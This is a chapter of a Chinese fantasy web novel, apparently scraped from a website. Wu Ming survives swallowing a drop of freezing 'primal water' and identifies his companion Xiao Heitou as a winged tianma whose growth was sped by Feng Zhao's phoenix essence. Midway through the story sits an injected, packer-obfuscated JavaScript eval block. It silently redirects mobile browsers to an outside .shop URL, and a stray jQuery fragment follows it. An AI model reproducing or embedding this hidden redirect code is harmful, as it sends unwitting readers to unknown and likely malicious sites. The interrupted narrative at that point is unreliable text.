原水溜入梧明的口中,犹如石沉大海。
在场的所有人都看到了张三神触摸那滴银白液体的下场,就算隔着一个瓶子,也是顷刻被冻成冰雕。
此时的梧明大脑飞速运转,这是张三神的手段?不,他自己都成那样了,怎么可能;那是这滴水有猫腻?也不像啊,他和这原水无冤无仇,就算它有灵智,要寻仇也该去找凤昭吧,他才是让马山气候变暖的元凶……
绞尽脑汁后,梧明得出了最终的结论:天要亡他!
正准备认命,接受自己马上就要死了这个事实时,其他人或惊疑,或欣喜的目光让他回过神来。
“梧大夫,你还好吗?”
对啊,他还好好的。怎么还没死呢?
梧明猛地检查起自己的手脚,发现其均能正常活动,毫无凝滞之感。
“神奇,还真是活久见……”
脑海中带着困意的声音传来,不过仅此一句,没有下文了。
凤昭在梧明脑袋上蹲久了,想换个姿势,却发现大家都看着他,问道:“怎么了。”
阿凡和小黑头顿时绘声绘色地演绎起了刚才的情景,包括张三神被那滴晶莹剔透的银白水珠冻成冰雕,随后那滴水又钻进了梧明的口中。
小圆鸡难得正经起来,检查起梧明的身体情况。
不久后,他神色诧异地开口道:“并无大碍。”
闻言,小黑头将脑袋拱入梧明的怀里。还好没事,这一切都是因它而起,万一梧明有个三长两短,它会良心不安的。
而就在梧明习惯性地用手抚摸小黑头的毛发时,一道记忆凭空出现在他的脑中。
——有兽焉,其名曰天马。状如犬,生双翼,黑首而白身。天性羞涩,见人即飞。居于山中,为山之灵。瑞兽也,凡相伴其左右之物,皆受其恩泽。
*
大黑头是一只天马,乃是马山土生土长的妖兽。它从一只小狗崽子开始,一路摸爬滚打。十年,身形渐渐拉长;又十年,背生肉翅;再十年,羽翼渐丰。
平日在马山,太阳懒洋洋的,草地暖烘烘的,实在像是一张定制尊享kingsize大床,这谁能忍住?久而久之,它就养成了随地大小睡的习惯。
每次睡醒,眼前总会出现一些奇奇怪怪的东西:有时候是一只眼神呆滞的兔子,有时候是一头逃窜的小鹿背影,有时候是人类。
终其一生,它正经的见人次数屈指可数,不过三次。
而每每见人,大黑头都受到本能的驱使,扇动双翼一飞冲天,即便它其实无聊的很,非常想找人说说话解闷,奈何身体不答应。
在它被关押在吴府的期间,曾听到人类的讨论,大意无非就是它有能实现愿望的大神通。
天马是瑞兽,所过之处生机盎然,只要待在这种妖兽身边,连运气也会慢慢变好。大黑头见过的第一个人类便是如此。
那日,它睡醒看到的终于不是呆傻的野兽,而是一个人类。这种生物确实神奇,连眼中的光都比寻常野兽要更有神一些。
也就是从大黑头和那人对视到起飞的这短短一段时间内,在天马的能力下,那人的运道短暂地好了起来,最终一路顺风地逃回家。
翱翔在上空的大黑头默默注视着他跌跌撞撞的身影,顿时觉得人类也挺可爱的,这和山间迷路的小兔子也没差嘛。
不过天马改变运道的能力远没有想象中厉害,而且只能对弱小一些的生灵起作用。
例如让兔子找到更舒服的窝,让鸟妖捉到许多肥嘟嘟的虫子,让应试的考生多蒙对几道题……撑死只能算是一种珍惜妖兽。要说心想事成,愿望成真,假如它真能做到,何苦还会被困在这?
后来,大黑头对人类的定义被改变了。
它想过好好交流,让他们放了它。为表善意,它还可以时不时过来,为他们带来点好运。可是那人类却嫌他妖言惑众,连它的嘴巴都要绑住。
不仅如此,来的人越来越多,除了占大多数的成年人类,也不乏腰背佝偻的人和身子小小的人。
它控制不住地想要飞起来,双翼带着身躯撞击在铁笼之上,发出的巨响吓到了老人和孩子。
他们拍着胸口平复心情,安抚着哭闹的孩子,却用棍棒击打它的身躯。
人类的攻击并不能伤到它,但这铁笼却不一样。撞上去,栏杆像是淬了火,烫的它浑身疼。
只有晚上,人都走光了,它才得以喘息。靠想象躺在马山柔软的草地上缓解浑身的疼痛,盼望着一睁眼发现,这些只不过是一场噩梦。
几天后,大黑头撞死了。
在梦中,他仿佛真的回到了马山,回到了那滴孕育它的银白之中。
原水乃是诞生于太阴的神水,一滴化海,取之不尽,用之不竭,随心所欲,变化万物。只是它极寒的本质决定了能够驱使它的人少之又少。
即便强如阴神,也在使用原水维持万界生生不息中不断磨损,直至最后的销声匿迹。
原水在万界的物种存续中,主要用于妖兽上。人类繁衍能力极强,仅靠自己便能绵延万代。而妖兽中,除了少数繁衍能力强的,其余的要么碍于性格各异,找不到合适的伴侣;要么因为人类的捕杀,数量急剧减少。
如今,妖兽还能存在,全靠原水、阴神与历代阴君。
马山中的这滴原水便是太阴上原水的沧海一粟。
阴君在太阴轮转的过程中,每隔一段时间便会向下界洒下原水。散落的原水会自觉寻水而居,周围通常会自发形成寒冰外壳,不乏有人类想取得原水,据为己有,下场就是张三神那样。
梧明不知为何,或许是因为他的体质,或许是别的什么,并不像其他人那样被原水冻死。
他回味着脑海中多出来的那段有关天马的记忆,结合这几天的所见所闻,终于是明白了。
先安抚了一下众人,表示自己没事,旋即当着他们的面就开始活动手脚,还运转起灵力,却骤然发现这灵力怎么瞧着有些古怪?
眯起眼睛仔细观察后才发现,他的灵力中竟然混入了一道细细的银丝,一眼便知是那滴原水干的好事,不过当下首要的并不是弄清楚它的作用。
“有兽焉,其名曰天马。状如犬,生双翼,黑首而白身。天性羞涩,见人即飞。居于山中,为山之灵。瑞兽也,凡相伴其左右之物,皆受其恩泽。
小黑头,经过我这么久以来的观察,你正是一只天马。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710604|207871||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“天马……”
小黑头喃喃自语,听梧明的描述,好像确实很像。
阿凡指着小黑头的背,问道:“所以小黑头真的会长翅膀?背痛就是因为这个。”
梧明一副“孺子可教也”的表情,继续说道:“没错,见人就飞的毛病也是天马这种妖兽天生自带的。”他顿了一下,随后指着又坐回他头上的凤昭,“至于为什么最近越来越严重,就是因为他。”
凤昭了然地点点头,关于天马,虽然没见过真的,但却在藏书库中的书上见过,那些记录奇葩妖兽的书籍是少数能让他清醒看下去的读物。
“天马通常需要百年才能修出双翼,此处的两只天马皆是因为我的凤凰涎,才会修炼地如此迅速。”
论起瑞兽,凤凰称第二,没谁敢称第一。
作为阴神按照阳神所化生的妖兽,贵为万妖之首,象征妖族的巅峰,能为妖族带来祥瑞与兴盛。
凤凰吞吐灵气修炼时,会释放出能连带着其他妖族修为一同精进的淡金色气体,也被称作凤凰涎。
凤昭先前在马山睡了几十年,大黑头就是因此只花了三十年便有百年道行,修出双翼。
而在凤昭醒来后,小黑头的翅膀甚至不到十年就蠢蠢欲动。
这名字取得,让梧明不禁浮想联翩,笑道:“还挺形象的。没想到啊,你睡觉流的口水还有这么大的用处?”
凤昭愣住,这角度他倒是从没想过,不对,这人到底在胡说什么!他略带惩戒意味地啄了一口梧明的脑壳,昂起头,脸颊不知为何有些发热,解释道。
“凤凰涎只是个名字!其本身就是促进妖兽修炼的宝物,是凤凰特有的,就像人类的丹药。其乃是凤凰修炼时外溢的妖力形成的,才不是什么……口水。”
梧明点点头,原来如此!难怪小黑头修出翅膀的时间比大黑头还快,就是因为大黑头活在凤昭沉睡时,而小黑头则是在他醒来之后。睡觉和醒着修炼相比,明显是后者更快,产出的凤凰涎也要更多。
一旁听了许久的李樵见众人聊的差不多了,朝梧明走近一步,压低声音,眼神里带着几分不确定。
“所以,大黑头它,和小黑头……”
反应过来他想问什么,梧明看了一眼小黑头,随后摇摇头,说道:“逝者安息,过去的都过去了。”
头上的凤昭也补充道:“基本不可能,原水化生的从来都是单独的个体。凡是死去的灵魂,都会去往碧落。”
“有些遗憾终究无法弥补,好好珍惜眼前。”
梧明拍了拍李樵的肩膀,留他一个人冷静。随后又走向小黑头,摸了两把。
虽然现在关于天马的秘密已经水落石出,但小黑头身上的毛病依然没有解决。
至于自己先前对它癔症、入魔的误诊……咳咳,未知全貌不予评判嘛,这是情有可原的!幸好也没被戳穿,不然又得使劲忽悠一番。
众人趁太阳还未隐没,下山去。
马山深处,幽泉旁多了一座神奇的冰雕,经久不衰,百年不化,不过这是后话了。
至于被梧明吞去的那滴原水,应是阴君用来维持天马的存续的,等下次来,见已然消耗殆尽,便又会补上。